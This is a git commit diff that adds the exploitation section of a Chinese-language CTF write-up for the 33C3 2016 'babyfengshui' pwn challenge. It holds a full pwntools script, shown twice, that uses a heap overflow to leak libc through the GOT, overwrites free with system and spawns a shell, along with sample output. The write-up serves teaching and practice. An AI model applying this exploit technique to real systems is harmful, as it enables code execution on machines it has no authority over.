finish 6.1.20

doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md

@@ -2,7 +2,7 @@
 
 - [题目复现](#题目复现)
 - [题目解析](#题目解析)
-- [Exploit](#exploit)
+- [漏洞利用](#漏洞利用)
 - [参考资料](#参考资料)
 
 
@@ -363,7 +363,73 @@ store 放在 `0x804b080`，当前 user 个数 user_num 放在 `0x804b069`。
 然而这种检查方式是有问题的，它基于 description 正好位于 user 前面这种设定。根据我们对堆分配器的理解，这个设定不一定成立，它们之间可能会包含其他已分配的堆块，从而绕过检查。
 
 
-## Exploit
+## 漏洞利用
+所以我们首先添加两个 user，用于绕过检查。第 3 个 user 存放 "/bin/sh"。然后删掉第 1 个 user，并创建一个 description 很长的 user，其长度是第 1 个 user 的 description 长度加上 user 结构体长度。这时候检查就绕过了，我们可以在添加新 user 的时候修改 description 大小，造成堆溢出，并修改第 2 个 user 的 user->desc 为 free@got.plt，从而泄漏出 libc 地址。得到 system 地址后，此时修改第 2 个 user 的 description，其实是修改 free 的 GOT，所以我们将其改成 system@got.plt。最后删除第 3 个 user，触发 system('/bin/sh')，得到 shell。
+
+开启 ASLR。Bingo!!!
+```
+$ python exp.py 
+[+] Starting local process './babyfengshui': pid 2269
+[*] system address: 0xf75e23e0
+[*] Switching to interactive mode
+$ whoami
+firmy
+```
+
+#### exp
+完整的 exp 如下：
+```python
+#!/usr/bin/env python
+
+from pwn import *
+
+#context.log_level = 'debug'
+
+io = process(['./babyfengshui'], env={'LD_PRELOAD':'./libc-2.19.so'})
+elf = ELF('babyfengshui')
+libc = ELF('libc-2.19.so')
+
+def add_user(size, length, text):
+    io.sendlineafter("Action: ", '0')
+    io.sendlineafter("description: ", str(size))
+    io.sendlineafter("name: ", 'AAAA')
+    io.sendlineafter("length: ", str(length))
+    io.sendlineafter("text: ", text)
+
+def delete_user(idx):
+    io.sendlineafter("Action: ", '1')
+    io.sendlineafter("index: ", str(idx))
+
+def display_user(idx):
+    io.sendlineafter("Action: ", '2')
+    io.sendlineafter("index: ", str(idx))
+
+def update_desc(idx, length, text):
+    io.sendlineafter("Action: ", '3')
+    io.sendlineafter("index: ", str(idx))
+    io.sendlineafter("length: ", str(length))
+    io.sendlineafter("text: ", text)
+
+if __name__ == "__main__":
+    add_user(0x80, 0x80, 'AAAA')        # 0
+    add_user(0x80, 0x80, 'AAAA')        # 1
+    add_user(0x8, 0x8, '/bin/sh\x00')   # 2
+    delete_user(0)
+
+    add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))    # 0
+
+    display_user(1)
+    io.recvuntil("description: ")
+    free_addr = u32(io.recvn(4))
+    system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
+    log.info("system address: 0x%x" % system_addr)
+
+    update_desc(1, 0x4, p32(system_addr))
+    delete_user(2)
+
+    io.interactive()
+```
+
 
 ## 参考资料
 - https://ctftime.org/task/3282

src/writeup/6.1.20_pwn_33c3ctf2016_babyfengshui/exp.py

@@ -0,0 +1,49 @@
+#!/usr/bin/env python
+
+from pwn import *
+
+#context.log_level = 'debug'
+
+io = process(['./babyfengshui'], env={'LD_PRELOAD':'./libc-2.19.so'})
+elf = ELF('babyfengshui')
+libc = ELF('libc-2.19.so')
+
+def add_user(size, length, text):
+    io.sendlineafter("Action: ", '0')
+    io.sendlineafter("description: ", str(size))
+    io.sendlineafter("name: ", 'AAAA')
+    io.sendlineafter("length: ", str(length))
+    io.sendlineafter("text: ", text)
+
+def delete_user(idx):
+    io.sendlineafter("Action: ", '1')
+    io.sendlineafter("index: ", str(idx))
+
+def display_user(idx):
+    io.sendlineafter("Action: ", '2')
+    io.sendlineafter("index: ", str(idx))
+
+def update_desc(idx, length, text):
+    io.sendlineafter("Action: ", '3')
+    io.sendlineafter("index: ", str(idx))
+    io.sendlineafter("length: ", str(length))
+    io.sendlineafter("text: ", text)
+
+if __name__ == "__main__":
+    add_user(0x80, 0x80, 'AAAA')        # 0
+    add_user(0x80, 0x80, 'AAAA')        # 1
+    add_user(0x8, 0x8, '/bin/sh\x00')   # 2
+    delete_user(0)
+
+    add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))    # 0
+
+    display_user(1)
+    io.recvuntil("description: ")
+    free_addr = u32(io.recvn(4))
+    system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
+    log.info("system address: 0x%x" % system_addr)
+
+    update_desc(1, 0x4, p32(system_addr))
+    delete_user(2)
+
+    io.interactive()